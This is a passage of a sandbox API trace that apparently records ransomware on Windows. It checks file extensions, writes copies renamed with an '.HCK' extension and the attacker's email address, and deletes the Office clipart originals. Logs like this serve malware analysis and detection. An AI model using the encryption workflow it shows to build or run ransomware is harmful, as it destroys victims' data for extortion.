Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf")) returned 1 [0168.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0168.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0168.962] lstrlenW (lpString=".doc") returned 4 [0168.962] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.962] lstrlenW (lpString=".docx") returned 5 [0168.962] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.962] lstrlenW (lpString=".pdf") returned 4 [0168.962] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.962] lstrlenW (lpString=".xls") returned 4 [0168.962] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.962] lstrlenW (lpString=".xlsx") returned 5 [0168.962] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.962] lstrlenW (lpString=".ppt") returned 4 [0168.962] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0168.962] lstrlenW (lpString=".zip") returned 4 [0168.962] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.962] lstrlenW (lpString=".rar") returned 4 [0168.962] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.962] lstrlenW (lpString=".bz2") returned 4 [0168.962] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.962] lstrlenW (lpString=".7z") returned 3 [0168.962] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0168.962] lstrlenW (lpString=".dbf") returned 4 [0168.962] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0168.962] lstrlenW (lpString=".1cd") returned 4 [0168.962] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0168.962] lstrlenW (lpString=".jpg") returned 4 [0168.962] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0168.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0168.962] lstrlenW (lpString=".doc") returned 4 [0168.962] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.962] lstrlenW (lpString=".docx") returned 5 [0168.962] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.962] lstrlenW (lpString=".pdf") returned 4 [0168.962] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.962] lstrlenW (lpString=".xls") returned 4 [0168.962] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.962] lstrlenW (lpString=".xlsx") returned 5 [0168.962] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.962] lstrlenW (lpString=".ppt") returned 4 [0168.962] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0168.962] lstrlenW (lpString=".zip") returned 4 [0168.962] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.962] lstrlenW (lpString=".rar") returned 4 [0168.963] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.963] lstrlenW (lpString=".bz2") returned 4 [0168.963] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.963] lstrlenW (lpString=".7z") returned 3 [0168.963] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0168.963] lstrlenW (lpString=".dbf") returned 4 [0168.963] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0168.963] lstrlenW (lpString=".1cd") returned 4 [0168.963] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0168.963] lstrlenW (lpString=".jpg") returned 4 [0168.963] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.963] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.963] lstrlenW (lpString="J0152890.WMF") returned 12 [0168.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.965] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=1940) returned 1 [0168.965] CloseHandle (hObject=0x3ac) returned 1 [0168.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf")) returned 0x220 [0168.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0168.989] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.989] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.998] GetLastError () returned 0x0 [0168.998] ReadFile (in: hFile=0x360, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x794, lpOverlapped=0x0) returned 1 [0169.001] WriteFile (in: hFile=0x3ac, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x7a0, lpOverlapped=0x0) returned 1 [0169.002] ReadFile (in: hFile=0x360, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0169.002] WriteFile (in: hFile=0x3ac, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0169.002] SetEndOfFile (hFile=0x3ac) returned 1 [0169.008] CloseHandle (hObject=0x3ac) returned 1 [0169.010] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.010] SetEndOfFile (hFile=0x360) returned 1 [0169.018] CloseHandle (hObject=0x360) returned 1 [0169.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.022] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf")) returned 1 [0169.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0169.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0169.027] lstrlenW (lpString=".doc") returned 4 [0169.027] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.027] lstrlenW (lpString=".docx") returned 5 [0169.027] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0169.027] lstrlenW (lpString=".pdf") returned 4 [0169.027] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.027] lstrlenW (lpString=".xls") returned 4 [0169.027] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.027] lstrlenW (lpString=".xlsx") returned 5 [0169.027] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0169.027] lstrlenW (lpString=".ppt") returned 4 [0169.027] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0169.027] lstrlenW (lpString=".zip") returned 4 [0169.027] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.027] lstrlenW (lpString=".rar") returned 4 [0169.027] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.027] lstrlenW (lpString=".bz2") returned 4 [0169.027] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.027] lstrlenW (lpString=".7z") returned 3 [0169.027] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0169.027] lstrlenW (lpString=".dbf") returned 4 [0169.027] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0169.027] lstrlenW (lpString=".1cd") returned 4 [0169.027] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0169.027] lstrlenW (lpString=".jpg") returned 4 [0169.028] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0169.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0169.028] lstrlenW (lpString=".doc") returned 4 [0169.028] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.028] lstrlenW (lpString=".docx") returned 5 [0169.028] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0169.028] lstrlenW (lpString=".pdf") returned 4 [0169.028] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.028] lstrlenW (lpString=".xls") returned 4 [0169.028] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.028] lstrlenW (lpString=".xlsx") returned 5 [0169.028] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0169.028] lstrlenW (lpString=".ppt") returned 4 [0169.028] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0169.028] lstrlenW (lpString=".zip") returned 4 [0169.028] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.028] lstrlenW (lpString=".rar") returned 4 [0169.028] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.028] lstrlenW (lpString=".bz2") returned 4 [0169.028] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.028] lstrlenW (lpString=".7z") returned 3 [0169.028] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0169.028] lstrlenW (lpString=".dbf") returned 4 [0169.028] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0169.028] lstrlenW (lpString=".1cd") returned 4 [0169.028] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0169.028] lstrlenW (lpString=".jpg") returned 4 [0169.028] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.028] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.028] lstrlenW (lpString="J0153047.WMF") returned 12 [0169.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0169.035] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=33068) returned 1 [0169.035] CloseHandle (hObject=0x330) returned 1 [0169.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf")) returned 0x220 [0169.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0169.045] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.045] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.052] GetLastError () returned 0x0 [0169.052] ReadFile (in: hFile=0x368, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x812c, lpOverlapped=0x0) returned 1 [0169.055] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x8130, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x8130, lpOverlapped=0x0) returned 1 [0169.056] ReadFile (in: hFile=0x368, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0169.057] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0169.057] SetEndOfFile (hFile=0x370) returned 1 [0169.060] CloseHandle (hObject=0x370) returned 1 [0169.060] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.061] SetEndOfFile (hFile=0x368) returned 1 [0169.064] CloseHandle (hObject=0x368) returned 1 [0169.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.065] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf")) returned 1 [0169.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0169.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0169.067] lstrlenW (lpString=".doc") returned 4 [0169.067] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.067] lstrlenW (lpString=".docx") returned 5 [0169.067] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0169.067] lstrlenW (lpString=".pdf") returned 4 [0169.067] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.067] lstrlenW (lpString=".xls") returned 4 [0169.067] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.067] lstrlenW (lpString=".xlsx") returned 5 [0169.067] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0169.067] lstrlenW (lpString=".ppt") returned 4 [0169.067] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0169.067] lstrlenW (lpString=".zip") returned 4 [0169.067] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.067] lstrlenW (lpString=".rar") returned 4 [0169.067] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.067] lstrlenW (lpString=".bz2") returned 4 [0169.067] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.067] lstrlenW (lpString=".7z") returned 3 [0169.067] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0169.067] lstrlenW (lpString=".dbf") returned 4 [0169.067] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0169.067] lstrlenW (lpString=".1cd") returned 4 [0169.067] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0169.067] lstrlenW (lpString=".jpg") returned 4 [0169.067] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0169.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0169.068] lstrlenW (lpString=".doc") returned 4 [0169.068] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.068] lstrlenW (lpString=".docx") returned 5 [0169.068] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0169.068] lstrlenW (lpString=".pdf") returned 4 [0169.068] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.068] lstrlenW (lpString=".xls") returned 4 [0169.068] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.068] lstrlenW (lpString=".xlsx") returned 5 [0169.068] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0169.068] lstrlenW (lpString=".ppt") returned 4 [0169.068] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0169.068] lstrlenW (lpString=".zip") returned 4 [0169.068] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.068] lstrlenW (lpString=".rar") returned 4 [0169.068] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.068] lstrlenW (lpString=".bz2") returned 4 [0169.068] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.068] lstrlenW (lpString=".7z") returned 3 [0169.068] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0169.068] lstrlenW (lpString=".dbf") returned 4 [0169.068] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0169.068] lstrlenW (lpString=".1cd") returned 4 [0169.068] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0169.068] lstrlenW (lpString=".jpg") returned 4 [0169.068] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.068] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.068] lstrlenW (lpString="J0153093.WMF") returned 12 [0169.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0169.077] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=8880) returned 1 [0169.077] CloseHandle (hObject=0x368) returned 1 [0169.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf")) returned 0x220 [0169.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0169.090] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.090] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0169.095] GetLastError () returned 0x0 [0169.096] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x22b0, lpOverlapped=0x0) returned 1 [0169.097] WriteFile (in: hFile=0x354, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x22c0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x22c0, lpOverlapped=0x0) returned 1 [0169.098] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0169.098] WriteFile (in: hFile=0x354, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0169.098] SetEndOfFile (hFile=0x354) returned 1 [0169.098] CloseHandle (hObject=0x354) returned 1 [0169.099] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.099] SetEndOfFile (hFile=0x2ec) returned 1 [0169.105] CloseHandle (hObject=0x2ec) returned 1 [0169.105] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.105] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf")) returned 1 [0169.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0169.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0169.107] lstrlenW (lpString=".doc") returned 4 [0169.107] lstrcmpiW 